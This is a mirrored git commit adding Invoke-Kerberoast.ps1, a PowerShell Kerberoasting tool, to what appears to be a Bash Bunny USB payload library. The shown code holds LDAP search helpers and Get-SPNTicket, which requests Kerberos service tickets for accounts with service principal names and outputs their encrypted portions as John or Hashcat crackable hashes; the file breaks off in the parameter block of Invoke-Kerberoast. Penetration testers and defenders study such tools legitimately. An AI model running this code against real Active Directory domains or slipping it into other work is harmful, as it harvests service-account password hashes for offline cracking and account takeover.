mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Add files via upload (#342)
This commit is contained in:
803
payloads/library/credentials/Roaster/invoke-kerberoast.ps1
Normal file
803
payloads/library/credentials/Roaster/invoke-kerberoast.ps1
Normal file
@@ -0,0 +1,803 @@
|
|||||||
|
<#
|
||||||
|
|
||||||
|
Invoke-Kerberoast.ps1
|
||||||
|
Author: Will Schroeder (@harmj0y), @machosec
|
||||||
|
License: BSD 3-Clause
|
||||||
|
Required Dependencies: None
|
||||||
|
|
||||||
|
Credit to Tim Medin (@TimMedin) for the Kerberoasting concept and original toolset implementation (https://github.com/nidem/kerberoast).
|
||||||
|
|
||||||
|
Note: the primary method of use will be Invoke-Kerberoast with various targeting options.
|
||||||
|
|
||||||
|
#>
|
||||||
|
|
||||||
|
function Get-DomainSearcher {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Helper used by various functions that builds a custom AD searcher object.
|
||||||
|
|
||||||
|
Author: Will Schroeder (@harmj0y)
|
||||||
|
License: BSD 3-Clause
|
||||||
|
Required Dependencies: Get-NetDomain
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Takes a given domain and a number of customizations and returns a
|
||||||
|
System.DirectoryServices.DirectorySearcher object. This function is used
|
||||||
|
heavily by other LDAP/ADSI search function.
|
||||||
|
|
||||||
|
.PARAMETER Domain
|
||||||
|
|
||||||
|
Specifies the domain to use for the query, defaults to the current domain.
|
||||||
|
|
||||||
|
.PARAMETER LDAPFilter
|
||||||
|
|
||||||
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
||||||
|
|
||||||
|
.PARAMETER Properties
|
||||||
|
|
||||||
|
Specifies the properties of the output object to retrieve from the server.
|
||||||
|
|
||||||
|
.PARAMETER SearchBase
|
||||||
|
|
||||||
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
||||||
|
Useful for OU queries.
|
||||||
|
|
||||||
|
.PARAMETER SearchBasePrefix
|
||||||
|
|
||||||
|
Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
|
||||||
|
|
||||||
|
.PARAMETER Server
|
||||||
|
|
||||||
|
Specifies an Active Directory server (domain controller) to bind to for the search.
|
||||||
|
|
||||||
|
.PARAMETER SearchScope
|
||||||
|
|
||||||
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
||||||
|
|
||||||
|
.PARAMETER ResultPageSize
|
||||||
|
|
||||||
|
Specifies the PageSize to set for the LDAP searcher object.
|
||||||
|
|
||||||
|
.PARAMETER SecurityMasks
|
||||||
|
|
||||||
|
Specifies an option for examining security information of a directory object.
|
||||||
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
||||||
|
|
||||||
|
.PARAMETER Tombstone
|
||||||
|
|
||||||
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
||||||
|
|
||||||
|
.PARAMETER Credential
|
||||||
|
|
||||||
|
A [Management.Automation.PSCredential] object of alternate credentials
|
||||||
|
for connection to the target domain.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Get-DomainSearcher -Domain testlab.local
|
||||||
|
|
||||||
|
Return a searcher for all objects in testlab.local.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'
|
||||||
|
|
||||||
|
Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
|
||||||
|
|
||||||
|
Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
|
||||||
|
|
||||||
|
.OUTPUTS
|
||||||
|
|
||||||
|
System.DirectoryServices.DirectorySearcher
|
||||||
|
#>
|
||||||
|
|
||||||
|
[OutputType('System.DirectoryServices.DirectorySearcher')]
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(ValueFromPipeline = $True)]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[String]
|
||||||
|
$Domain,
|
||||||
|
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[Alias('Filter')]
|
||||||
|
[String]
|
||||||
|
$LDAPFilter,
|
||||||
|
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[String[]]
|
||||||
|
$Properties,
|
||||||
|
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[String]
|
||||||
|
$SearchBase,
|
||||||
|
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[String]
|
||||||
|
$SearchBasePrefix,
|
||||||
|
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[String]
|
||||||
|
$Server,
|
||||||
|
|
||||||
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
||||||
|
[String]
|
||||||
|
$SearchScope = 'Subtree',
|
||||||
|
|
||||||
|
[ValidateRange(1,10000)]
|
||||||
|
[Int]
|
||||||
|
$ResultPageSize = 200,
|
||||||
|
|
||||||
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
||||||
|
[String]
|
||||||
|
$SecurityMasks,
|
||||||
|
|
||||||
|
[Switch]
|
||||||
|
$Tombstone,
|
||||||
|
|
||||||
|
[Management.Automation.PSCredential]
|
||||||
|
[Management.Automation.CredentialAttribute()]
|
||||||
|
$Credential = [Management.Automation.PSCredential]::Empty
|
||||||
|
)
|
||||||
|
|
||||||
|
PROCESS {
|
||||||
|
|
||||||
|
if ($Domain) {
|
||||||
|
$TargetDomain = $Domain
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$TargetDomain = (Get-NetDomain).name
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Credential -eq [Management.Automation.PSCredential]::Empty) {
|
||||||
|
if (-not $Server) {
|
||||||
|
try {
|
||||||
|
# if there's no -Server specified, try to pull the primary DC to bind to
|
||||||
|
$BindServer = ((Get-NetDomain).PdcRoleOwner).Name
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
throw 'Get-DomainSearcher: Error in retrieving PDC for current domain'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
elseif (-not $Server) {
|
||||||
|
try {
|
||||||
|
$BindServer = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
throw 'Get-DomainSearcher: Error in retrieving PDC for current domain'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$SearchString = 'LDAP://'
|
||||||
|
|
||||||
|
if ($BindServer) {
|
||||||
|
$SearchString += $BindServer
|
||||||
|
if ($TargetDomain) {
|
||||||
|
$SearchString += '/'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($SearchBasePrefix) {
|
||||||
|
$SearchString += $SearchBasePrefix + ','
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($SearchBase) {
|
||||||
|
if ($SearchBase -Match '^GC://') {
|
||||||
|
# if we're searching the global catalog, get the path in the right format
|
||||||
|
$DN = $SearchBase.ToUpper().Trim('/')
|
||||||
|
$SearchString = ''
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if ($SearchBase -match '^LDAP://') {
|
||||||
|
if ($SearchBase -match "LDAP://.+/.+") {
|
||||||
|
$SearchString = ''
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$DN = $SearchBase.Substring(7)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$DN = $SearchBase
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
|
||||||
|
$DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$SearchString += $DN
|
||||||
|
Write-Verbose "Get-DomainSearcher search string: $SearchString"
|
||||||
|
|
||||||
|
if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
|
||||||
|
Write-Verbose "Using alternate credentials for LDAP connection"
|
||||||
|
$DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
|
||||||
|
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
|
||||||
|
}
|
||||||
|
|
||||||
|
$Searcher.PageSize = $ResultPageSize
|
||||||
|
$Searcher.SearchScope = $SearchScope
|
||||||
|
$Searcher.CacheResults = $False
|
||||||
|
|
||||||
|
if ($Tombstone) {
|
||||||
|
$Searcher.Tombstone = $True
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($LDAPFilter) {
|
||||||
|
$Searcher.filter = $LDAPFilter
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($SecurityMasks) {
|
||||||
|
$Searcher.SecurityMasks = Switch ($SecurityMasks) {
|
||||||
|
'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
|
||||||
|
'Group' { [System.DirectoryServices.SecurityMasks]::Group }
|
||||||
|
'None' { [System.DirectoryServices.SecurityMasks]::None }
|
||||||
|
'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
|
||||||
|
'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Properties) {
|
||||||
|
# handle an array of properties to load w/ the possibility of comma-separated strings
|
||||||
|
$PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
|
||||||
|
$Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
|
||||||
|
}
|
||||||
|
|
||||||
|
$Searcher
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function Convert-LDAPProperty {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Helper that converts specific LDAP property result fields and outputs
|
||||||
|
a custom psobject.
|
||||||
|
|
||||||
|
Author: Will Schroeder (@harmj0y)
|
||||||
|
License: BSD 3-Clause
|
||||||
|
Required Dependencies: None
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Converts a set of raw LDAP properties results from ADSI/LDAP searches
|
||||||
|
into a proper PSObject. Used by several of the Get-Net* function.
|
||||||
|
|
||||||
|
.PARAMETER Properties
|
||||||
|
|
||||||
|
Properties object to extract out LDAP fields for display.
|
||||||
|
|
||||||
|
.OUTPUTS
|
||||||
|
|
||||||
|
System.Management.Automation.PSCustomObject
|
||||||
|
|
||||||
|
A custom PSObject with LDAP hashtable properties translated.
|
||||||
|
#>
|
||||||
|
|
||||||
|
[OutputType('System.Management.Automation.PSCustomObject')]
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
$Properties
|
||||||
|
)
|
||||||
|
|
||||||
|
$ObjectProperties = @{}
|
||||||
|
|
||||||
|
$Properties.PropertyNames | ForEach-Object {
|
||||||
|
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
|
||||||
|
# convert the SID to a string
|
||||||
|
$ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0], 0)).Value
|
||||||
|
}
|
||||||
|
elseif ($_ -eq 'objectguid') {
|
||||||
|
# convert the GUID to a string
|
||||||
|
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
|
||||||
|
}
|
||||||
|
elseif ($_ -eq 'ntsecuritydescriptor') {
|
||||||
|
$ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
|
||||||
|
}
|
||||||
|
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
|
||||||
|
# convert timestamps
|
||||||
|
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
|
||||||
|
# if we have a System.__ComObject
|
||||||
|
$Temp = $Properties[$_][0]
|
||||||
|
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
|
||||||
|
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
|
||||||
|
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
# otherwise just a string
|
||||||
|
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
|
||||||
|
# try to convert misc com objects
|
||||||
|
$Prop = $Properties[$_]
|
||||||
|
try {
|
||||||
|
$Temp = $Prop[$_][0]
|
||||||
|
Write-Verbose $_
|
||||||
|
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
|
||||||
|
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
|
||||||
|
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
$ObjectProperties[$_] = $Prop[$_]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
elseif ($Properties[$_].count -eq 1) {
|
||||||
|
$ObjectProperties[$_] = $Properties[$_][0]
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$ObjectProperties[$_] = $Properties[$_]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
New-Object -TypeName PSObject -Property $ObjectProperties
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function Get-NetDomain {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Returns a given domain object.
|
||||||
|
|
||||||
|
Author: Will Schroeder (@harmj0y)
|
||||||
|
License: BSD 3-Clause
|
||||||
|
Required Dependencies: None
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
|
||||||
|
domain or the domain specified with -Domain X.
|
||||||
|
|
||||||
|
.PARAMETER Domain
|
||||||
|
|
||||||
|
Specifies the domain name to query for, defaults to the current domain.
|
||||||
|
|
||||||
|
.PARAMETER Credential
|
||||||
|
|
||||||
|
A [Management.Automation.PSCredential] object of alternate credentials
|
||||||
|
for connection to the target domain.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Get-NetDomain -Domain testlab.local
|
||||||
|
|
||||||
|
.OUTPUTS
|
||||||
|
|
||||||
|
System.DirectoryServices.ActiveDirectory.Domain
|
||||||
|
|
||||||
|
.LINK
|
||||||
|
|
||||||
|
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
|
||||||
|
#>
|
||||||
|
|
||||||
|
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Position = 0, ValueFromPipeline = $True)]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[String]
|
||||||
|
$Domain,
|
||||||
|
|
||||||
|
[Management.Automation.PSCredential]
|
||||||
|
[Management.Automation.CredentialAttribute()]
|
||||||
|
$Credential = [Management.Automation.PSCredential]::Empty
|
||||||
|
)
|
||||||
|
|
||||||
|
PROCESS {
|
||||||
|
if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
|
||||||
|
|
||||||
|
Write-Verbose "Using alternate credentials for Get-NetDomain"
|
||||||
|
|
||||||
|
if (-not $Domain) {
|
||||||
|
# if no domain is supplied, extract the logon domain from the PSCredential passed
|
||||||
|
$TargetDomain = $Credential.GetNetworkCredential().Domain
|
||||||
|
Write-Verbose "Extracted domain '$Domain' from -Credential"
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$TargetDomain = $Domain
|
||||||
|
}
|
||||||
|
|
||||||
|
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
|
||||||
|
|
||||||
|
try {
|
||||||
|
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
Write-Verbose "The specified domain does '$TargetDomain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
|
||||||
|
$Null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
elseif ($Domain) {
|
||||||
|
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||||
|
try {
|
||||||
|
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust."
|
||||||
|
$Null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function Get-SPNTicket {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Request the kerberos ticket for a specified service principal name (SPN).
|
||||||
|
|
||||||
|
Author: @machosec, Will Schroeder (@harmj0y)
|
||||||
|
License: BSD 3-Clause
|
||||||
|
Required Dependencies: None
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
This function will either take one/more SPN strings, or one/more PowerView.User objects
|
||||||
|
(the output from Get-NetUser) and will request a kerberos ticket for the given SPN
|
||||||
|
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
|
||||||
|
portion of the ticket is then extracted and output in either crackable John or Hashcat
|
||||||
|
format (deafult of John).
|
||||||
|
|
||||||
|
.PARAMETER SPN
|
||||||
|
|
||||||
|
Specifies the service principal name to request the ticket for.
|
||||||
|
|
||||||
|
.PARAMETER User
|
||||||
|
|
||||||
|
Specifies a PowerView.User object (result of Get-NetUser) to request the ticket for.
|
||||||
|
|
||||||
|
.PARAMETER OutputFormat
|
||||||
|
|
||||||
|
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
|
||||||
|
Defaults to 'John'.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Get-SPNTicket -SPN "HTTP/web.testlab.local"
|
||||||
|
|
||||||
|
Request a kerberos service ticket for the specified SPN.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-SPNTicket
|
||||||
|
|
||||||
|
Request kerberos service tickets for all SPNs passed on the pipeline.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Get-NetUser -SPN | Get-SPNTicket -OutputFormat Hashcat
|
||||||
|
|
||||||
|
Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
|
||||||
|
|
||||||
|
.INPUTS
|
||||||
|
|
||||||
|
String
|
||||||
|
|
||||||
|
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
|
||||||
|
|
||||||
|
.INPUTS
|
||||||
|
|
||||||
|
PowerView.User
|
||||||
|
|
||||||
|
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
|
||||||
|
|
||||||
|
.OUTPUTS
|
||||||
|
|
||||||
|
PowerView.SPNTicket
|
||||||
|
|
||||||
|
Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section.
|
||||||
|
#>
|
||||||
|
|
||||||
|
[OutputType('PowerView.SPNTicket')]
|
||||||
|
[CmdletBinding(DefaultParameterSetName='RawSPN')]
|
||||||
|
Param (
|
||||||
|
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
|
||||||
|
[ValidatePattern('.*/.*')]
|
||||||
|
[Alias('ServicePrincipalName')]
|
||||||
|
[String[]]
|
||||||
|
$SPN,
|
||||||
|
|
||||||
|
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
|
||||||
|
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
|
||||||
|
[Object[]]
|
||||||
|
$User,
|
||||||
|
|
||||||
|
[Parameter(Position = 1)]
|
||||||
|
[ValidateSet('John', 'Hashcat')]
|
||||||
|
[Alias('Format')]
|
||||||
|
[String]
|
||||||
|
$OutputFormat = 'John'
|
||||||
|
)
|
||||||
|
|
||||||
|
BEGIN {
|
||||||
|
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
|
||||||
|
}
|
||||||
|
|
||||||
|
PROCESS {
|
||||||
|
if ($PSBoundParameters['User']) {
|
||||||
|
$TargetObject = $User
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$TargetObject = $SPN
|
||||||
|
}
|
||||||
|
|
||||||
|
ForEach ($Object in $TargetObject) {
|
||||||
|
if ($PSBoundParameters['User']) {
|
||||||
|
$UserSPN = $Object.ServicePrincipalName
|
||||||
|
$SamAccountName = $Object.SamAccountName
|
||||||
|
$DistinguishedName = $Object.DistinguishedName
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$UserSPN = $Object
|
||||||
|
$SamAccountName = $Null
|
||||||
|
$DistinguishedName = $Null
|
||||||
|
}
|
||||||
|
|
||||||
|
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
|
||||||
|
$TicketByteStream = $Ticket.GetRequest()
|
||||||
|
if ($TicketByteStream) {
|
||||||
|
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
|
||||||
|
[System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
|
||||||
|
$Parts.RemoveAt($Parts.Count - 1)
|
||||||
|
$Hash = $Parts -join 'A48201'
|
||||||
|
$Hash = $Hash.Insert(32, '$')
|
||||||
|
|
||||||
|
$Out = New-Object PSObject
|
||||||
|
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
|
||||||
|
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
|
||||||
|
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
|
||||||
|
|
||||||
|
if ($OutputFormat -match 'John') {
|
||||||
|
$HashFormat = "`$krb5tgs`$unknown:$Hash"
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
# hashcat output format
|
||||||
|
$HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdf,DC=pd,DC=fakedomain,DC=com SPN: F3514235-4C06-11D1-AB04-00D04FC2DCD2-GDCD/asdf.asdf.pd.fakedomain.com:50000 *' + $Hash
|
||||||
|
}
|
||||||
|
$Out | Add-Member Noteproperty 'Hash' $HashFormat
|
||||||
|
|
||||||
|
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
|
||||||
|
|
||||||
|
Write-Output $Out
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function Invoke-Kerberoast {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
|
||||||
|
|
||||||
|
Author: Will Schroeder (@harmj0y), @machosec
|
||||||
|
License: BSD 3-Clause
|
||||||
|
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Get-SPNTicket
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Implements code from Get-NetUser to quyery for user accounts with non-null service principle
|
||||||
|
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
|
||||||
|
The ticket format can be specified with -OutputFormat <John/Hashcat>
|
||||||
|
|
||||||
|
.PARAMETER Identity
|
||||||
|
|
||||||
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
||||||
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
|
||||||
|
Wildcards accepted. By default all accounts will be queried for non-null SPNs.
|
||||||
|
|
||||||
|
.PARAMETER AdminCount
|
||||||
|
|
||||||
|
Switch. Return users with adminCount=1.
|
||||||
|
|
||||||
|
.PARAMETER Domain
|
||||||
|
|
||||||
|
Specifies the domain to use for the query, defaults to the current domain.
|
||||||
|
|
||||||
|
.PARAMETER LDAPFilter
|
||||||
|
|
||||||
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
||||||
|
|
||||||
|
.PARAMETER SearchBase
|
||||||
|
|
||||||
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
||||||
|
Useful for OU queries.
|
||||||
|
|
||||||
|
.PARAMETER Server
|
||||||
|
|
||||||
|
Specifies an Active Directory server (domain controller) to bind to.
|
||||||
|
|
||||||
|
.PARAMETER SearchScope
|
||||||
|
|
||||||
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
||||||
|
|
||||||
|
.PARAMETER ResultPageSize
|
||||||
|
|
||||||
|
Specifies the PageSize to set for the LDAP searcher object.
|
||||||
|
|
||||||
|
.PARAMETER Credential
|
||||||
|
|
||||||
|
A [Management.Automation.PSCredential] object of alternate credentials
|
||||||
|
for connection to the target domain.
|
||||||
|
|
||||||
|
.PARAMETER OutputFormat
|
||||||
|
|
||||||
|
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
|
||||||
|
Defaults to 'John'.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Invoke-Kerberoast | fl
|
||||||
|
|
||||||
|
SamAccountName : SQLService
|
||||||
|
DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local
|
||||||
|
ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433
|
||||||
|
Hash : $krb5tgs$unknown:30FFC786BECD0E88992CBBB017155C53$0343A9C8...
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Invoke-Kerberoast -Domain dev.testlab.local | ConvertTo-CSV -NoTypeInformation
|
||||||
|
|
||||||
|
"SamAccountName","DistinguishedName","ServicePrincipalName","Hash"
|
||||||
|
"SQLSVC","CN=SQLSVC,CN=Users,DC=dev,DC=testlab,DC=local","MSSQLSvc/secondary.dev.testlab.local:1433","$krb5tgs$unknown:ECF4BDD1037D1D9E2E091ABBDC92F00E$0F3A4...
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
|
||||||
|
|
||||||
|
SamAccountName : SQLService
|
||||||
|
DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local
|
||||||
|
ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433
|
||||||
|
Hash : $krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Se
|
||||||
|
rvice,OU=Accounts,OU=EnterpriseObjects,DC=proddfs,DC=pf,
|
||||||
|
DC=fakedomain,DC=com SPN: H3514235-4C06-12D1-AB04-00D04F
|
||||||
|
C2DCD2-GDCD/asdf.asdf.pd.fakedomain.com:50000 *30
|
||||||
|
FFC786BECD0E88992CBBB017155C53$0343A9C8A7EB90F059CD92B52
|
||||||
|
....
|
||||||
|
|
||||||
|
.INPUTS
|
||||||
|
|
||||||
|
String
|
||||||
|
|
||||||
|
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
|
||||||
|
|
||||||
|
.OUTPUTS
|
||||||
|
|
||||||
|
PowerView.SPNTicket
|
||||||
|
|
||||||
|
Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section.
|
||||||
|
#>
|
||||||
|
|
||||||
|
[OutputType('PowerView.SPNTicket')]
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
||||||
|
[Alias('SamAccountName', 'Name')]
|
||||||
|
[String[]]
|
||||||
|
$Identity,
|
||||||
|
|
||||||
|
[Switch]
|
||||||
|
$AdminCount,
|
||||||
|
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[String]
|
||||||
|
$Domain,
|
||||||
|
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[Alias('Filter')]
|
||||||
|
[String]
|
||||||
|
$LDAPFilter,
|
||||||
|
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[String]
|
